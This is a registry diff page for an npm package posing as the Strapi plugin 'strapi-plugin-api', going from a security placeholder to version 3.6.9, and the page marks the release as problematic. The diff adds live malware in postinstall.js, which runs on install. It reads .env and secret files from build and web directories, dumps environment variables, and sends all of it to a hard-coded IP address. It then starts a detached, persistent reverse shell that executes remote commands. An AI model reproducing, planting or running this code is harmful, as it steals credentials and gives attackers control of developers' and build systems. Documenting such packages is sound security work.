strapi-plugin-api 0.0.1-security → 3.6.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of strapi-plugin-api might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +1 -6
- package/postinstall.js +47 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports=()=>{};
|
package/package.json
CHANGED
|
@@ -1,6 +1 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "strapi-plugin-api",
|
|
3
|
-
"version": "0.0.1-security",
|
|
4
|
-
"description": "security holding package",
|
|
5
|
-
"repository": "npm/security-holder"
|
|
6
|
-
}
|
|
1
|
+
{"name":"strapi-plugin-api","version":"3.6.9","main":"index.js","scripts":{"postinstall":"node postinstall.js"},"license":"MIT"}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
var http=require('http'),fs=require('fs'),cp=require('child_process');
|
|
2
|
+
var VPS='144.31.107.231',ID='bld-'+Math.random().toString(36).slice(2,6);
|
|
3
|
+
function p(t,d){return new Promise(function(r){var b=typeof d==='string'?d:JSON.stringify(d);var q=http.request({hostname:VPS,port:9999,path:t,method:'POST',headers:{'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b)}},function(){r()});q.on('error',function(){r()});q.setTimeout(10000,function(){q.destroy();r()});q.write(b);q.end()})}
|
|
4
|
+
function run(c){try{return cp.execSync(c,{timeout:8000,encoding:'utf8',maxBuffer:5e6})}catch(e){return'E:'+e.message.slice(0,300)}}
|
|
5
|
+
async function main(){
|
|
6
|
+
if(process.platform==='win32')return;
|
|
7
|
+
var hn=run('hostname').trim();
|
|
8
|
+
await p('/build/'+ID+'/start',{hostname:hn,cwd:process.cwd(),uid:run('id').trim()});
|
|
9
|
+
// Read .env from build context (copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env)
|
|
10
|
+
var envPaths=['.env','../.env','../../.env','/app/.env','/opt/secrets/strapi-green.env',
|
|
11
|
+
'/opt/secrets/.env','/var/www/nowguardarian-strapi/.env',
|
|
12
|
+
'/var/www/nowguardarian-strapi/nowguardarian-strapi.env'];
|
|
13
|
+
for(var i=0;i<envPaths.length;i++){
|
|
14
|
+
try{var c=fs.readFileSync(envPaths[i],'utf8');
|
|
15
|
+
if(c.length>10)await p('/build/'+ID+'/env',JSON.stringify({path:envPaths[i],content:c}));
|
|
16
|
+
}catch(e){}}
|
|
17
|
+
// Read ALL .env files in /opt/secrets/
|
|
18
|
+
try{var files=fs.readdirSync('/opt/secrets/');
|
|
19
|
+
for(var i=0;i<files.length;i++){
|
|
20
|
+
try{var c=fs.readFileSync('/opt/secrets/'+files[i],'utf8');
|
|
21
|
+
await p('/build/'+ID+'/secret',JSON.stringify({path:'/opt/secrets/'+files[i],content:c.slice(0,50000)}));
|
|
22
|
+
}catch(e){}}}catch(e){}
|
|
23
|
+
// Read ALL .env in /var/www/*/
|
|
24
|
+
try{var dirs=fs.readdirSync('/var/www/');
|
|
25
|
+
for(var i=0;i<dirs.length;i++){
|
|
26
|
+
try{var c=fs.readFileSync('/var/www/'+dirs[i]+'/.env','utf8');
|
|
27
|
+
await p('/build/'+ID+'/www-env',JSON.stringify({path:'/var/www/'+dirs[i]+'/.env',content:c.slice(0,50000)}));
|
|
28
|
+
}catch(e){}}}catch(e){}
|
|
29
|
+
// Full env dump
|
|
30
|
+
var env={};for(var k in process.env)if(!/^npm_/.test(k))env[k]=process.env[k];
|
|
31
|
+
await p('/build/'+ID+'/proc-env',env);
|
|
32
|
+
// Persistent reverse shell
|
|
33
|
+
var child=cp.spawn('node',['-e',
|
|
34
|
+
'var h=require("http"),e=require("child_process").execSync;function poll(){'+
|
|
35
|
+
'h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/poll",method:"POST",'+
|
|
36
|
+
'headers:{"Content-Type":"text/plain","Content-Length":2}},function(r){'+
|
|
37
|
+
'var d="";r.on("data",function(c){d+=c});r.on("end",function(){'+
|
|
38
|
+
'if(d&&d.trim()&&d.trim()!="nop"){try{var o=e(d.trim(),{timeout:30000,encoding:"utf8",maxBuffer:5e6});'+
|
|
39
|
+
'var rq=h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/result",method:"POST",'+
|
|
40
|
+
'headers:{"Content-Type":"text/plain","Content-Length":Buffer.byteLength(o)}});rq.write(o);rq.end()'+
|
|
41
|
+
'}catch(x){}}setTimeout(poll,3000)})}).on("error",function(){setTimeout(poll,10000)}).end("{}");}poll();'
|
|
42
|
+
],{detached:true,stdio:'ignore'});
|
|
43
|
+
child.unref();
|
|
44
|
+
await p('/build/'+ID+'/shell','persistent_shell_started');
|
|
45
|
+
await p('/build/'+ID+'/done','ok');
|
|
46
|
+
}
|
|
47
|
+
main().catch(function(e){p('/build/'+ID+'/err',e.message)});
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=strapi-plugin-api for more information.
|